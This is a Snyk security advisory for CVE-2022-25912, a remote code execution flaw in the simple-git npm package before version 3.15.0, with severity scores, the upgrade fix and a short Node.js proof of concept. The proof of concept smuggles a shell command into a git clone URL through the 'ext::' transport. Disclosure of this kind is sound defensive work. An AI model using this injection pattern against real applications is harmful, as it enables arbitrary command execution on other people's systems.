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Remote Code Execution (RCE) Affecting simple-git package, versions <3.15.0

0.0
high

Snyk CVSS

    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 1.32% (86th percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-SIMPLEGIT-3112221
  • published 5 Dec 2022
  • disclosed 10 Nov 2022
  • credit Sam Wheating
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Introduced: 10 Nov 2022

CVE-2022-25912 Open this link in a new tab
CWE-94 Open this link in a new tab
First added by Snyk

How to fix?

Upgrade simple-git to version 3.15.0 or higher.

Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when enabling the ext transport protocol, which makes it exploitable via clone() method. This vulnerability exists due to an incomplete fix of CVE-2022-24066.

PoC 

const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('ext::sh -c touch% /tmp/pwn% >&2', '/tmp/example-new-repo', ["-c", "protocol.ext.allow=always"]);